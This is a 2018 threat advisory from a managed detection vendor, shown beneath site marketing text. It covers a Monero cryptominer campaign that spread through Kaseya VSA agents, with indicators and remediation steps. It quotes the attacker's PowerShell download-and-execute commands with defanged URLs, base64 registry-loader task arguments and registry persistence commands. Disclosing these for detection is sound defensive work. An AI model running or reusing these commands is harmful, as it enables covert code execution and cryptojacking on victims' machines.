Cyber risk and advisory programs that identify security gaps and build strategies to address them.
MDR that provides improved detection, 24/7 threat hunting, end-to-end coverage and most of all, complete Response.
Our team delivers the fastest response time in the industry. Threat suppression within just 4 hours of being engaged.
Visibility and response across your entire Microsoft security ecosystem.
XDR with Machine Learning that eliminates noise, enables real-time detection and response, and automatically blocks threats.
Be protected by the best from Day 1.
24/7 Threat Investigation and Response.
Expert threat hunting, original research, and proactive threat intelligence.
TRU is foundational to our MDR service. No add-ons or additional costs required.
Flexible MDR packages that enhance your cyber resilience and security operations.
Stop ransomware attacks before they disrupt your business.
Detect and respond to zero-day exploits.
Protect against third-party and supply chain risk.
Adopt a risk-based approach to cybersecurity.
Protect your most sensitive data.
Meet cybersecurity regulatory compliance mandates.
Eliminate misconfigurations and policy violations.
Prevent business disruption by outsourcing MDR.
Defend brute force attacks, active intrusions and unauthorized scans.
Safeguard endpoints 24/7 by isolating and mediating threats to prevent lateral spread.
Enhance investigation and threat detection across multi-cloud or hybrid environments.
Remediate critical misconfigurations, security vulnerabilities and policy violations across cloud and containerized environments.
Detect malicious insider and identity-based behavior leveraging machine learning models.
THE THREAT On August 21st, 2023, Ivanti disclosed a new vulnerability impacting Ivanti Sentry (formerly MobileIron Sentry). Ivanti has confirmed limited exploitation occurred prior to the disclosure… READ NOW
Our Threat Response Unit (TRU) publishes security advisories, blogs, reports, industry publications and webinars based on its original research and the insights driven through proactive threat hunts.
eSentire is The Authority in Managed Detection and Response Services, protecting the critical data and applications of 2000+ organizations in 80+ countries from known and unknown cyber threats. Founded in 2001, the company's mission is to hunt, investigate and stop cyber threats before they become business disrupting events.
Waterloo, ON–September 6, 2023 – eSentire, Inc., the Authority in Managed Detection and Response (MDR), and Kterio, the leading provider of smart building operating systems, today announced that they… READ NOW
We provide sophisticated cybersecurity solutions for Managed Security Service Providers (MSSPs), Managed Service Providers (MSPs), and Value-Added Resellers (VARs). Find out why you should partner with eSentire, the Authority in Managed Detection and Response, today.
We believe a multi-signal approach is paramount to protecting your complete attack surface. See why eSentire MDR means multi-signal telemetry and complete response.
See how our 24/7 SOC Cyber Analysts and Elite Threat Hunters stop even the most advanced cyberattacks before they disrupt your business.
Choose the right mix of Managed Detection and Response, Exposure Management, and Incident Response services to strengthen your cyber resilience.
Try our interactive tools including the MITRE ATT&CK Tool, the SOC Pricing Calculator, the Cybersecurity Maturity Assessment, and our MDR ROI Calculator.
Read the latest security advisories, blogs, reports, industry publications and webinars published by eSentire's Threat Response Unit (TRU).
See why 2000+ organizations count on eSentire to build resilience and prevent business disruption.
Originally published on 2018-01-29
eSentire has observed an unknown threat actor attempting to deploy a Monero cryptocurrency miner to multiple eSentire customers. We assess with high confidence that the threat leveraged Kaseya Ltd’s Virtual Systems Administrator (VSA) agent to gain unauthorized access to multiple customer assets since January 19, 2018.
Although we have no direct information pertaining to the root cause of the observed incidents, customers who utilize Kaseya VSA are encouraged to review the below action items and contact their managed service provider.
eSentire has disclosed this issue to Kaseya, who is actively working to communicate and mitigate the issue.
Kaseya has made a set of patches available to address this vulnerability and has provided procedures to detect and remove the Monero cryptocurrency miner software from affected endpoints. We recommend applying the vendor patches as soon as possible. Details are available from Kaseya at: https://helpdesk.kaseya.com/hc/en-gb/articles/360000333152
The technical Indicators of Compromise included in this advisory can be used by affected organizations to facilitate detection of the observed malicious activities. It is possible this exploit could mutate, requiring new Indicators of Compromise. eSentire will update this advisory as new information becomes available.
Between January 19th and 24th 2018, eSentire SOC observed suspicious PowerShell activity across several customers running esENDPOINT.
A summary of this activity is as follows:
powershell "" -command "$client = new-object System.Net.WebClient;iex $client.DownloadString('hxxps://dl[.]dropboxusercontent[.]com/s/vtzu1wyvem5n5je/reg_load.ps1')" ""
The result of this activity is the deployment of Monero mining software xmrig.exe on victim assets. This activity was traced back to Kaseya’s VSA agent (agentmon.exe) and impacted customers were notified.
Customers who actively use Kaseya VSA are encouraged to examine systems for the indicators of compromise included in this advisory. Impacted systems can be remediated by removing registry keys and scheduled tasks, and by stopping the PowerShell process running xmrig.exe.
Two scheduled tasks are created using schtasks.exe, one with a randomly generated name with a static creation date, the other with a static task name.
-version 2 -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp "HKLM:\SOFTWARE\Microsoft\Powershell").ScriptInit)));
-version 2 -executionpolicy bypass -command "$client = new-object System.Net.WebClient;iex $client.DownloadString('hxxps://dl[.]dropboxusercontent[.]com/s/namkbc37wtx2mdq/reg_load_subsequent.ps1')"
IP Addresses (contacted by xmrig.exe):
Yesterday evening, Dropbox hosted PowerShell scripts pertaining to this threat were updated with new registry keys and scheduled tasks.
This was noted by Huntress Labs (https://twitter.com/HuntressLabs/status/958262755638657024) and confirmed by eSentire.
We recommend following up with your MSP to ensure that the latest version of Kaseya’s cleanup scripts has been deployed (Kaseya has updated the script with checks for the new keys and scheduled task https://helpdesk.kaseya.com/hc/en-gb/articles/360000346651?mobile_site=true ).
The first change is to the registry keys where the encoded binary parts and initiator script are stored:
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell\Scripts -Name a -Value $a
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell\Scripts -Name b -Value $b
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell\Scripts -Name c -Value $c
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell\Scripts -Name d -Value $d
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Powershell -Name ScriptInit -Value $firstScript
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies\System -Name a -Value $a
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies\System -Name b -Value $b
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies\System -Name c -Value $c
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies\System -Name d -Value $d
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Policies -Name Start -Value $firstScript
The second change is an edit to scheduled task “\Microsoft\Windows\WindowsUpdate\sihboot”, which executes PowerShell and redeploys the initiator script and binary.
eSentire has observed several changes in infrastructure and persistence techniques since 2018-01-30. The infrastructure used to host deployment scripts and binaries has moved away from Dropbox to various VPS hosts. eSentire has blocked access to the new infrastructure across our customers, but are not publicly sharing these indicators at this time.
Registry keys holding encoded xmrig binary parts and the initiator script has changed to the following locations:
Reg_load.ps1 uses Windows Task Scheduler (schtasks.exe) to read from file SynchronizeTimeZone.xml to deploy task name “\Microsoft\Windows\Time Zone\SynchronizeTimeZone”.
A new variant of xmrig.exe (compiled 2018-02-05) was also observed as md5:ed89e756ad2ed4bdb8b075e62ddf9fea/name:chrome.exe. This file was first submitted to VirusTotal at 2018-02-14 02:39:59.
Additionally, the following registry keys were observed after 2018-02-02, but may no longer be used: